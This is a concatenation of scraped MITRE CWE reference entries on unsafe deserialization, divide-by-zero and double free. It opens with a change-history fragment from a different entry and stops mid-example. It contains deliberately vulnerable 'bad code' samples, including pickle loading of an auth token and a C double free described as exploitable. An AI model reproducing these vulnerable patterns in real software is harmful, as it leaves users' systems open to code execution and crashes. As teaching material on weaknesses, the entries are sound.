2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Demonstrative_Examples, Related_Attack_Patterns
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Common_Consequences, Potential_Mitigations, References
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Potential_Mitigations
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Potential_Mitigations
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Demonstrative_Examples, Description
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Potential_Mitigations, References
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors, Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Likelihood_of_Exploit, References, Relationships, Taxonomy_Mappings, White_Box_Definitions
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated References
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated References, Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Potential_Mitigations, Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Common_Consequences, Potential_Mitigations
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Alternate_Terms, Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Demonstrative_Examples, Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Demonstrative_Examples
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Potential_Mitigations
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated References
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Common_Consequences, Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Potential_Mitigations, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
Previous Entry Names
Change Date	Previous Entry Name
2008-10-14	Unbounded Transfer ('Classic Buffer Overflow')

Weakness ID: 502

View customized information:

Description

The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

Extended Description

It is often convenient to serialize objects for communication or to save them for later use. However, deserialized data or code can often be modified without using the provided accessor functions if it does not use cryptography to protect itself. Furthermore, any cryptography would still be client-side security -- which is a dangerous security assumption.

Data that is untrusted can not be trusted to be well-formed.

When developers place no restrictions on "gadget chains," or series of instances and method invocations that can self-execute during the deserialization process (i.e., before the object is returned to the caller), it is sometimes possible for attackers to leverage them to perform unauthorized actions, like generating a shell.

Alternate Terms

Marshaling, Unmarshaling:	Marshaling and unmarshaling are effectively synonyms for serialization and deserialization, respectively.
Pickling, Unpickling:	In Python, the "pickle" functionality is used to perform serialization and deserialization.
PHP Object Injection:	Some PHP application researchers use this term when attacking unsafe use of the unserialize() function; but it is also used for CWE-915.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	913	Improper Control of Dynamically-Managed Code Resources
PeerOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	399	Resource Management Errors

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	913	Improper Control of Dynamically-Managed Code Resources

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1019	Validate Inputs

Background Details

Serialization and deserialization refer to the process of taking program-internal object-related data, packaging it in a way that allows the data to be externally stored or transferred ("serialization"), then extracting the serialized data to reconstruct the original object ("deserialization").

Modes Of Introduction

Phase	Note
Architecture and Design	OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation

Applicable Platforms

Languages

Java (Undetermined Prevalence)

Ruby (Undetermined Prevalence)

PHP (Undetermined Prevalence)

Python (Undetermined Prevalence)

JavaScript (Undetermined Prevalence)

Technologies

Class: ICS/OT (Often Prevalent)

Common Consequences

Scope	Impact	Likelihood
Integrity	Technical Impact: Modify Application Data; Unexpected State Attackers can modify unexpected objects or data that was assumed to be safe from modification.
Availability	Technical Impact: DoS: Resource Consumption (CPU) If a function is making an assumption on when to terminate, based on a sentry in a string, it could easily never terminate.
Other	Technical Impact: Varies by Context The consequences can vary widely, because it depends on which objects or methods are being deserialized, and how they are used. Making an assumption that the code in the deserialized object is valid is dangerous and can enable exploitation.

Likelihood Of Exploit

Medium

Demonstrative Examples

Example 1

This code snippet deserializes an object from a file and uses it as a UI button:

(bad code)

Example Language: Java

try {

File file = new File("object.obj");
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
javax.swing.JButton button = (javax.swing.JButton) in.readObject();
in.close();

}

This code does not attempt to verify the source or contents of the file before deserializing it. An attacker may be able to replace the intended file with a file that contains arbitrary malicious code which will be executed when the button is pressed.

To mitigate this, explicitly define final readObject() to prevent deserialization. An example of this is:

(good code)

Example Language: Java

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized"); }

Example 2

In Python, the Pickle library handles the serialization and deserialization processes. In this example derived from [REF-467], the code receives and parses data, and afterwards tries to authenticate a user based on validating a token.

(bad code)

Example Language: Python

try {

class ExampleProtocol(protocol.Protocol):
def dataReceived(self, data):

# Code that would be here would parse the incoming data
# After receiving headers, call confirmAuth() to authenticate

def confirmAuth(self, headers):
try:
token = cPickle.loads(base64.b64decode(headers['AuthToken']))
if not check_hmac(token['signature'], token['data'], getSecretKey()):
raise AuthFail
self.secure_data = token['data']
except:
raise AuthFail

}

Unfortunately, the code does not verify that the incoming data is legitimate. An attacker can construct a illegitimate, serialized object "AuthToken" that instantiates one of Python's subprocesses to execute arbitrary commands. For instance,the attacker could construct a pickle that leverages Python's subprocess module, which spawns new processes and includes a number of arguments for various uses. Since Pickle allows objects to define the process for how they should be unpickled, the attacker can direct the unpickle process to call Popen in the subprocess module and execute /bin/sh.

Observed Examples

Reference	Description
CVE-2019-12799	chain: bypass of untrusted deserialization issue (CWE-502) by using an assumed-trusted class (CWE-183)
CVE-2015-8103	Deserialization issue in commonly-used Java library allows remote execution.
CVE-2015-4852	Deserialization issue in commonly-used Java library allows remote execution.
CVE-2013-1465	Use of PHP unserialize function on untrusted input allows attacker to modify application configuration.
CVE-2012-3527	Use of PHP unserialize function on untrusted input in content management system might allow code execution.
CVE-2012-0911	Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value.
CVE-2012-0911	Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution.
CVE-2011-2520	Python script allows local users to execute code via pickled data.
CVE-2012-4406	Unsafe deserialization using pickle in a Python script.
CVE-2003-0791	Web browser allows execution of native methods via a crafted string to a JavaScript function that deserializes the string.

Potential Mitigations

Phases: Architecture and Design; Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Phase: Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Phase: Implementation

Explicitly define a final object() to prevent deserialization.

Phases: Architecture and Design; Implementation

Make fields transient to protect them from deserialization.

An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.

Phase: Implementation

Avoid having unnecessary types or gadgets available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	994	SFP Secondary Cluster: Tainted Input to Variable
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1034	OWASP Top Ten 2017 Category A8 - Insecure Deserialization
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1148	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1415	Comprehensive Categorization: Resource Control
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Maintenance

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Deserialization of untrusted data
The CERT Oracle Secure Coding Standard for Java (2011)	SER01-J	Do not deviate from the proper signatures of serialization methods
The CERT Oracle Secure Coding Standard for Java (2011)	SER03-J	Do not serialize unencrypted, sensitive data
The CERT Oracle Secure Coding Standard for Java (2011)	SER06-J	Make defensive copies of private mutable components during deserialization
The CERT Oracle Secure Coding Standard for Java (2011)	SER08-J	Do not use the default serialized form for implementation defined invariants
Software Fault Patterns	SFP25	Tainted input to variable

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-586	Object Injection

References

[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.

[REF-461] Matthias Kaiser. "Exploiting Deserialization Vulnerabilities in Java". 2015-10-28. <https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478>. URL validated: 2023-04-07.

[REF-462] Sam Thomas. "PHP unserialization vulnerabilities: What are we missing?". 2015-08-27. <https://www.slideshare.net/_s_n_t/php-unserialization-vulnerabilities-what-are-we-missing>. URL validated: 2023-04-07.

[REF-463] Gabriel Lawrence and Chris Frohoff. "Marshalling Pickles: How deserializing objects can ruin your day". 2015-01-28. <https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles>. URL validated: 2023-04-07.

[REF-464] Heine Deelstra. "Unserializing user-supplied data, a bad idea". 2010-08-25. <https://drupalsun.com/heine/2010/08/25/unserializing-user-supplied-data-bad-idea>. URL validated: 2023-04-07.

[REF-465] Manish S. Saindane. "Black Hat EU 2010 - Attacking Java Serialized Communication". 2010-04-26. <https://www.slideshare.net/msaindane/black-hat-eu-2010-attacking-java-serialized-communication>. URL validated: 2023-04-07.

[REF-466] Nadia Alramli. "Why Python Pickle is Insecure". 2009-09-09. <http://michael-rushanan.blogspot.com/2012/10/why-python-pickle-is-insecure.html>. URL validated: 2023-04-07.

[REF-467] Nelson Elhage. "Exploiting misuse of Python's "pickle"". 2011-03-20. <https://blog.nelhage.com/2011/03/exploiting-pickle/>.

[REF-468] Chris Frohoff. "Deserialize My Shorts: Or How I Learned to Start Worrying and Hate Java Object Deserialization". 2016-03-21. <https://speakerdeck.com/frohoff/owasp-sd-deserialize-my-shorts-or-how-i-learned-to-start-worrying-and-hate-java-object-deserialization>. URL validated: 2023-04-07.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	CLASP
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Common_Consequences, Description, Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Description, Other_Notes, Potential_Mitigations
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Relationships, Taxonomy_Mappings
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Demonstrative_Examples
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Observed_Examples, References, Relationships
2017-05-03	CWE Content Team	MITRE
2017-05-03	updated Applicable_Platforms, Demonstrative_Examples, Description, Potential_Mitigations, References
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Modes_of_Introduction, Potential_Mitigations, References, Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated Relationships
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Type
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Observed_Examples, References, Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Alternate_Terms, Potential_Mitigations
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Applicable_Platforms
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships

Weakness ID: 369

View customized information:

Description

The product divides a value by zero.

Extended Description

This weakness typically occurs when an unexpected value is provided to the product, or if an error occurs that is not properly detected. It frequently occurs in calculations involving physical dimensions such as size, length, width, and height.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	682	Incorrect Calculation

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	189	Numeric Errors

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	682	Incorrect Calculation

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	682	Incorrect Calculation

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	682	Incorrect Calculation

Modes Of Introduction

Phase	Note
Implementation

Common Consequences

Scope	Impact	Likelihood
Availability	Technical Impact: DoS: Crash, Exit, or Restart A Divide by Zero results in a crash.

Likelihood Of Exploit

Medium

Demonstrative Examples

Example 1

The following Java example contains a function to compute an average but does not validate that the input value used as the denominator is not zero. This will create an exception for attempting to divide by zero. If this error is not handled by Java exception handling, unexpected results can occur.

(bad code)

Example Language: Java

public int computeAverageResponseTime (int totalTime, int numRequests) {

return totalTime / numRequests;

}

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. The following Java code example will validate the input value, output an error message, and throw an exception.

(good code)

public int computeAverageResponseTime (int totalTime, int numRequests) throws ArithmeticException {

if (numRequests == 0) {

System.out.println("Division by zero attempted!");
throw ArithmeticException;

}
return totalTime / numRequests;

}

Example 2

The following C/C++ example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

(bad code)

Example Language: C

double divide(double x, double y){

return x/y;

}

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. If the method is called and a zero is passed as the second argument a DivideByZero error will be thrown and should be caught by the calling block with an output message indicating the error.

(good code)

const int DivideByZero = 10;
double divide(double x, double y){

if ( 0 == y ){

throw DivideByZero;

}
return x/y;

}
...
try{

divide(10, 0);

}
catch( int i ){

if(i==DivideByZero) {

cerr<<"Divide by zero error";

}

Example 2 References:

[REF-371] Alex Allain. "Handling Errors Exceptionally Well in C++". <https://www.cprogramming.com/tutorial/exceptions.html>. URL validated: 2023-04-07.

Example 3

The following C# example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

(bad code)

Example Language: C#

int Division(int x, int y){

return (x / y);

}

The method can be modified to raise, catch and handle the DivideByZeroException if the input value used as the denominator is zero.

(good code)

int SafeDivision(int x, int y){

try{

return (x / y);

}
catch (System.DivideByZeroException dbz){

System.Console.WriteLine("Division by zero attempted!");
return 0;

}

Example 3 References:

[REF-372] Microsoft. "Exceptions and Exception Handling (C# Programming Guide)". <https://msdn.microsoft.com/pl-pl/library/ms173160(v=vs.100).aspx>.

Observed Examples

Reference	Description
CVE-2007-3268	Invalid size value leads to divide by zero.
CVE-2007-2723	"Empty" content triggers divide by zero.
CVE-2007-2237	Height value of 0 triggers divide by zero.

Detection Methods

Automated Static Analysis

Effectiveness: High

Fuzzing

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	730	OWASP Top Ten 2004 Category A9 - Denial of Service
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	739	CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	848	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	872	CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	873	CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	998	SFP Secondary Cluster: Glitch in Computation
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1137	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1408	Comprehensive Categorization: Incorrect Calculation

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT C Secure Coding	FLP03-C		Detect and handle floating point errors
CERT C Secure Coding	INT33-C	Exact	Ensure that division and remainder operations do not result in divide-by-zero errors
The CERT Oracle Secure Coding Standard for Java (2011)	NUM02-J		Ensure that division and modulo operations do not result in divide-by-zero errors
Software Fault Patterns	SFP1		Glitch in computation

References

[REF-371] Alex Allain. "Handling Errors Exceptionally Well in C++". <https://www.cprogramming.com/tutorial/exceptions.html>. URL validated: 2023-04-07.

[REF-372] Microsoft. "Exceptions and Exception Handling (C# Programming Guide)". <https://msdn.microsoft.com/pl-pl/library/ms173160(v=vs.100).aspx>.

Content History

Submissions
Submission Date	Submitter	Organization
2008-04-11 (CWE Draft 9, 2008-04-11)	CWE Community
2008-04-11 (CWE Draft 9, 2008-04-11)	Submitted by members of the CWE community to extend early CWE versions
Modifications
Modification Date	Modifier	Organization
2008-07-01	Sean Eidemiller	Cigital
2008-07-01	added/updated demonstrative examples
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Common_Consequences, Description, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships, Taxonomy_Mappings
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Demonstrative_Examples
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Other_Notes
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Relationships, Taxonomy_Mappings
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Demonstrative_Examples, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships, Taxonomy_Mappings
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated References
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Demonstrative_Examples, Detection_Factors, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 415

Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.

View customized information:

Description

The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.

Extended Description

When a program calls free() twice with the same argument, the program's memory management data structures become corrupted. This corruption can cause the program to crash or, in some circumstances, cause two later calls to malloc() to return the same pointer. If malloc() returns the same value twice and the program later gives the attacker control over the data that is written into this doubly-allocated memory, the program becomes vulnerable to a buffer overflow attack.

Alternate Terms

Double-free

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	666	Operation on Resource in Wrong Phase of Lifetime
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1341	Multiple Releases of Same Resource or Handle
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	825	Expired Pointer Dereference
PeerOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	123	Write-what-where Condition
PeerOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	416	Use After Free
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	364	Signal Handler Race Condition

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	672	Operation on a Resource after Expiration or Release

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	672	Operation on a Resource after Expiration or Release

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	672	Operation on a Resource after Expiration or Release

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Technical Impact: Modify Memory; Execute Unauthorized Code or Commands Doubly freeing memory may result in a write-what-where condition, allowing an attacker to execute arbitrary code.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following code shows a simple example of a double free vulnerability.

(bad code)

Example Language: C

char* ptr = (char*)malloc (SIZE);
...
if (abrt) {

free(ptr);

}
...
free(ptr);

Double free vulnerabilities have two common (and sometimes overlapping) causes:

Error conditions and other exceptional circumstances
Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than this example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Example 2

While contrived, this code should be exploitable on Linux distributions that do not ship with heap-chunk check summing turned on.

(bad code)

Example Language: C

#include <stdio.h>
#include <unistd.h>
#define BUFSIZE1 512
#define BUFSIZE2 ((BUFSIZE1/2) - 8)

int main(int argc, char **argv) {

char *buf1R1;
char *buf2R1;
char *buf1R2;
buf1R1 = (char *) malloc(BUFSIZE2);
buf2R1 = (char *) malloc(BUFSIZE2);
free(buf1R1);
free(buf2R1);
buf1R2 = (char *) malloc(BUFSIZE1);
strncpy(buf1R2, argv[1], BUFSIZE1-1);
